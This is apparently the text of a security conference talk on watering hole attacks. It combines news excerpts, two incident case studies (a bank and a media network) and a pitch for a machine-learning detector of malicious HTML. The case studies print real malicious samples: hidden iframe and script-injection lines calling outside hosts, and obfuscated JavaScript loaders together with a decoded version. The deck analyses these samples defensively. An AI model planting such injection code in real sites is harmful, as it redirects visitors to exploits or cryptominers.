

## LIONS AT THE WATERING HOLE

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#### WHO AM I

- Security Researcher with 27 years of experience
- In 1992 I analyzed my first malware: the "Hi" virus
- Me and my friends got infected playing Wolfenstein
- I had no idea what a virus was
- Plus, there was no antivirus...
- .. So I had to understand what was going on and code a "disinfector"



#### WHO AM I

- That was the beginning of an awesome journey
- Since 2010 I am a consultant for Romanian National CERT
- At some point someone alterted us on a potential breach
- There was no evidence of attack in the state-of-the-art IDS logs
- But one of their partners caught fraudulent activity originating from their private VPN network
- While running the investigation we observed that no direct service attack nor spearphishing attacks were performed against the target
- Forensic analysis revealed it was a drive-by download, aka "watering hole" attack



#### WATERING HOLE ATTACK



#### Watering hole attack

From Wikipedia, the free encyclopedia

This article is about the computer hacking technique. For for the place to obtain alcoholic drinks, see pub. For other uses, see Waterhole (disambiguation).

Watering hole is a computer attack strategy, in which the victim is a particular group (organization, industry, or region). In this attack, the attacker guesses or observes which websites the group often uses and infects one or more of them with malware. Eventually, some member of the targeted group becomes infected. [1][2][3] Hacks looking for specific information may only attack users coming from a specific IP address. This also makes the hacks harder to detect and research. [4] The name is derived from predators in the natural world, who wait for an opportunity to attack their prey near watering holes. [5]



### WATERING HOLE ATTACK PHASES

- 1. Luring victims, either by spearphishing or by regular browsing
- 2. Victims are fingerprinted (based on IP, browser and technologies)
- 3. Victims of interest are redirected to an exploitation server where they are attacked based on information gathered
- 4. Not interesting victims are redirected to the legitimate website






#### WATERING HOLE ATTACK PHASES







#### WATERING HOLE ATTACK ANATOMY





#### WATERING HOLE ATTACK

- It is considered "a very dangerous but not so common" attack
- Most victims don't even notice they have been attacked
- There is <u>no obvious infection vector</u>
- During forensic investigations on <u>high</u>
   <u>profile networks</u> we found <u>multiple</u>
   <u>occurrences of successful watering hole</u>
   attacks
- Most of the times victims have <u>state-of-</u> <u>the-art security solutions</u> in place







#### Chinese Attackers Hacked Forbes Website in Watering Hole Attack: Security Firms

By Fahmida Y. Rashid on February 11, 2015









A Chinese attack group infected Forbes.com back in November in a watering hole attack targeting visitors working in the financial services and defense industries, according to two security companies.

"A Chinese advanced persistent threat compromised Forbes.com to set up a watering hole style web-based drive-by attack against US defense and financial services firms in late November 2014," Invincea said in a report posted on its site.

The attack exploited two zero-day vulnerabilities, one in Microsoft's Internet Explorer and the other in Adobe's Flash Player, Invincea and iSight Partners said in their joint report released Tuesday. Adobe fixed the flaw back in December and Microsoft updated Internet Explorer as part of its Patch Tuesday release.

The cyber-espionage campaign appeared to last only a few days, but iSight and Invincea did not rule out the possibility of the campaign lasting a longer period of time.



#### iOS Developer Site at Core of Facebook, Apple Watering Hole Attack



organizations beyond the big three.





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#### Apple confirms being hit in recent watering hole attack

→ Download a free Security Orchestration, Automation, and Response ebook.

Apple has become the latest big company to confirm they've been affected by the watering hole attacks that resulted in the compromise of Twitter and Facebook networks, Reuters reported.



#### Many Watering Holes, Targets In Hacks That Netted Facebook, Twitter and Apple


March 11, 2013 04:00 by Paul

he attacks that compromised computer systems at Facebook, Twitter, Apple Corp. and Microsoft were part of a wide-ranging operation that relied on many "watering hole" web sites that attracted employees from prominent firms across the U.S., The Security Ledger has learned.



The assailants responsible for the cyber attacks used at least two mobile application development sites as watering holes in addition to the one web site that has been disclosed: iPhoneDevSDK.com. Still other watering hole web sites used in the attack weren't specific to mobile application developers – or even to software development. Still, they served almost identical attacks to employees of a wide range of target firms, across industries, including prominent auto manufacturers, U.S. government agencies and even a leading candy maker, according to sources with knowledge of the operation.





## Banks around the world targeted in watering hole attacks

→ Download a free Security Orchestration, Automation, and Response ebook.

The January attacks against Polish financial institutions through the boobytrapped site of the Polish Financial Supervision Authority are just one piece of a larger puzzle, elements of which are slowly coming to light.

As the indicators of compromise and attack were shared by the affected banks, other institutions around the world found that they have been hit, as well.



#### OceanLotus: New watering hole attack in Southeast Asia

ESET researchers identified 21 distinct websites that had been compromised including some particularly notable government and media sites





ESET researchers have discovered a new watering hole campaign targeting several websites in Southeast Asia, and that is believed to have been active since September 2018. This campaign stands out because of its large scale, as we were able to identify 21 compromised websites, some of which are particularly notable. Among the compromised websites were the Ministry of Defense of Cambodia, the Ministry of Foreign Affairs and International Cooperation of Cambodia and several Vietnamese newspaper or blog websites.





(G+)

After thorough analysis, we are highly confident that this campaign is run by the OceanLotus group [1], also known as APT32 [2] and APT-C-00. OceanLotus is an espionage group active since at least 2012 [3], mainly interested in foreign governments and dissidents.





"How can we train employees to be wary of watering hole sites? It doesn't make any sense and I can just see why some CISOs are getting frustrated," said Anup Ghosh, CEO and founder of security company Invincea. "At least with spear phishing, you can blame the user even if it's not their fault. With watering hole attacks, they user can always say 'I had to go there for work, what do you want me to do?"



- One Romanian bank contacted us for investigating a suspected breach
- One major ATM network identified suspicious operations originating from bank's private VPN during out of work hours, using legitimate credentials
- State of the art monitoring & detection solution from a major vendor was in place



- No suspicious activities were detected by bank's intrusion detection sensors and firewalls within the past two months logs
- Latest patches & updates were in place
- Forensic analysis on the computer who generated the suspicious behavior didn't reveal any direct service or spear phishing attacks, but..
- The memory of the device held a lot of evidence pointing to a watering hole attack







```
eval(r4e("12345",unescape("4Z%5B%17A%7Bb%1B%B5T%A6%D9%AC%03%FA1%C5%0F K%DC%25w%C2Fx%7B%D7%A5"))+"http://
iframe = "<iframe src=\"http://
iframe src="http://
iframe src="http://
 <div style="display:none"><iframe src="http://</pre>
document.write(unescape("%3Ciframe src='http://
document.write(("<iframe src='http://
document.write('<iframe src="http://
out0 += '<iframe src="http://
<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
<iframe src="http://www.ro521.com/test.htm" width=0 height=0></iframe>
<iframe src="http://us.</pre>
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<iframe style="display:none" src="http://</pre>
document.createElement('iframe'); js_kod2.src = 'http://
'http://try-count.net/strong/176/' width=1 height=1></iframe>
 '<iframe src=http://</pre>
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document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://
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document.write(("<iframe src='http://
document.write('<iframe src="http://
document.writeln("<script src=\"http://5.39.218.139/2.php\">
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://
 document.write("<iframe src=http://142.0.141.145
```



- Performing further analysis we were able to narrow down the visited web sites list
- Performing a Dekeneas scan on those websites we found the culprit:
   a Romanian NGO dedicated to cybersecurity in banking environment
- Certain pages were implanted with malicious Javascript, redirecting users to an exploitation server
- Flash and PDF Odays were used in attacks









```
root@zamolxis: ~
File Edit View Search Terminal Help
eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32
100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116
 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103,
46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 11
 , 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61,
32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61,
32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 4
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  49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49,
  54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44,
  54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 56, 44, 32, 5
  54, 44, 32, 52, 56, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99
 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 10
  78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51
 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32,
97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102
32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83,
116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 4
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  48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 16
  97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 1
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115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112
 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41,
59, 32, 125));
```

```
root@zamolxis:~
File Edit View Search Terminal Help
var somestring = document.createElement('script');
somestring.type = 'text/javascript';
somestring.async = true;
somestring.src = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 101, 120, 97, 109, 104, 111, 1
09, 101, 46, 110, 101, 116, 47, 115, 116, 97, 116, 46, 106, 115, 63, 118, 61, 49, 46, 48, 46, 48);
var alls = document.getElementsByTagName('script');
var nt3 = true;
for (var i = alls.length; i--;) {
    if (alls[i].src.indexOf(String.fromCharCode(101, 120, 97, 109, 104, 111, 109, 101)) > -1) {
        nt3 = false;
    }
}
if (nt3 == true) {
    document.getElementsByTagName('head')[0].appendChild(somestring);
}
```



- Certain pages in the website had separate implants of these scripts
- Multi-layered encryption used as protection against static analysis
- All implants redirected to the same exploitation server
- Successful exploitation would download a previously unknown Carbanak rootkit variant

# WATERING HOLE ATTACK CASE STUDY 2: THE MEDIA NETWORK (FROM MALWARE TO CRYPTOJACKING)

- We perform regular Dekeneas scans on Romanian top 100 websites
- One scan revealed an interesting watering hole attack on a major media network
- More than 30 websites totaling 500,000 unique visitors per day
- One of the three load balancers was infected with watering hole implants

# WATERING HOLE ATTACK CASE STUDY 2: THE MEDIA NETWORK (FROM MALWARE TO CRYPTOJACKING)

- But instead of redirecting users to an exploitation server
- The Javascript would redirect users to a cryptojacking domain
- Our estimation: almost 200,000 users were mining cryptocurrencies for attackers every day
- The cryptojacking script was carefully crafted not to use too much CPU power in order to avoid detection
- Ransomware attacks have been replaced by Cryptojacking

# WATERING HOLE ATTACK CASE STUDY 2: THE MEDIA NETWORK (FROM MALWARE TO CRYPTOJACKING)



```
root@zamolxis: ~
File Edit View Search Terminal Help
function pr4(hK# Cp, Jv) {
   var MV S0, nWiJA = new Array(), IEzPz = '\xBDe50s\x04\xBE\x93\x1F:\x030h\x84\xA50\xA3âat*aj-\x14\xA7
 :88À\xB8l/0\x8ANó\x06\xACÊ8\x89Fl\x95zsy=6?';
   for (MV SO = 0; MV SO < IEzPz.length; MV SO++)
       nWiJA[MV S0] = IEzPz.charCodeAt(MV S0);
   MV S0 = 4;
   while (MV S0 <= 35) {
       nWiJA[MV S0] = nWiJA[MV S0] + nWiJA[MV S0 + 1] & 255;
       nWiJA[MV S0] = nWiJA[MV S0] << 7 & 255 | nWiJA[MV S0] >> 1;
   MV S0 = 1;
       nWiJA[MV S0] = nWiJA[MV S0] + nWiJA[MV S0 + 1] & 255;
       nWiJA[MV S0] = \sim nWiJA[MV S0] & 255;
       nWiJA[MV S0] = nWiJA[MV S0] ^ 13;
   } while (++MV S0 <= 40):
   MV S0 = 37;
   for (;; MV S0--) {
       if (MV S0 < 3)
       nWiJA[MV S0] = (nWiJA[MV S0] ^ 182) + 35 & 255;
   IEzPz = '';
   for (MV S0 = 1; MV S0 < nWiJA.length - 1; MV S0++)</pre>
       if (MV S0 % 7)
           IEzPz += String.fromCharCode(nWiJA[MV S0] ^ hK);
   IEzPz += '';
   eval(rewrite(IEzPz, true));
pr4(31, '', '');
```




## WATERING HOLE ATTACK MOST COMMON PAYLOADS

- Trojans
- APT rootkits
- Cryptojacking
- Ransomware
- Spyware


## WATERING HOLE ATTACK TRADITIONAL DETECTION METHODS

- Signature scanning
- Blacklisting
- Static code analysis
- Dynamic code analysis






- Code is obfuscated
- Code is rarely reused
- The exploitation server uses either Oday attacks or 1 day attacks
- The domains & IP are rarely reused and most of the times they are legitimate & trustworthy websites






- Only certain IP addresses are attacked
- Only certain browsers & underlying technologies are attacked
- The communication with the C2 server is done using covert channels
- The C2 server is not always blacklisted





- Various tricks & techniques to identify an instrumentation environment (delayed execution, human interaction, virtual machine detection, etc.)
- Dynamic code analysis is very time consuming, each HTML page requiring from a few tenths of seconds to a few minutes for a complete analysis
- Analyzing a single simple website would take hours



- Redirecting phase
- Exploitation phase
- Persistency phase





## WATERING HOLE ATTACK PHASES

- Most technologies protect against the exploitation phase or persistency phase
- They attempt to detect exploit signatures, blacklisted IP addresses or suspicious communication
- But this protection is not enough against Oday or 1day attacks, legitimate IP addresses used as C2 servers or covert channels



- Dekeneas is a complex passive scanner using artificial intelligence to classify malicious HTML elements
- Focus on detecting phase 1 redirection
- Parallel processing in a big data environment allows analyzing 1,000,000
   URL in 24 hours
- Contextual analysis understanding the code without executing it
- No false negatives and almost no false positives
- False positives are used to train further the artificial intelligence algorithm



- During my research I analyzed over 20,000 malicious HTML elements
- I found certain features that are common amongst all samples
- Those features are fundamental in order for the implant to perform



- Redirection
- Execution of redirection
- Obfuscation
- Fingerprinting
- Detection of instrumentation environment



- For each of the features we identified the according instructions and behavior
- We do not only take into account the actual instructions, but code constructions



- For instance, to perform redirection the attacker needs meta refresh tags, iframes, location.href, window.open, etc.
- To execute the redirection the attacker needs instructions such as document.write, eval(), etc.



- To perform obfuscation the code needs to cycle through large chunks of data and apply transformations on that data
- So, we score large vars
- Or many vars
- Or large function parameters



- We score transformation instructions such as CharCodeAt(), fromCharCode(), unescape(), etc.
- But the score increases if they are present inside loops
- And the score increases if there are multiple instances of transformation instructions



- We also score delayed execution instructions such as setTimeout()
- Or instructions expecting user interaction such as onmouseover(), onmouseclick() or onmouseleave()
- We score instructions checking for User Agent
- Or checking local IP address
- Or instructions checking for window.size



- We score concatenation
- We score encoding
- We score whitespaces
- We score new lines
- We score shellcode looking snippets



- Everything gets compiled in a dataset with more than 30 features
- All these features are unique to malicious HTML elements
- Legitimate HTML elements might use some of these features, but not in the correlations present in the dataset



- The resulted dataset is fed to a Random Forrest classification algorithm
- Uses collections of trees with a random parameter holdout to build models
- Often outperform individual decision trees
- Increased analysis speed



- HTML elements flagged as suspicious by the artificial intelligence are sent to a Javascript instrumentation sandbox
- And also sent to a high interaction honeypot
- Optionally, it can be integrated with any online or offline sandbox or analysis system
- HTML elements flagged as suspicious but not confirmed by the instrumentation sandbox or honeypot are submitted for manual analysis by a human analyst



 Since November 2018 Dekeneas became a startup part of Orange Fab Start Up Accelerator





#### THANK YOU!

Andrei Bozeanu

**CEO & Founder DEKENEAS** 

https://www.dekeneas.com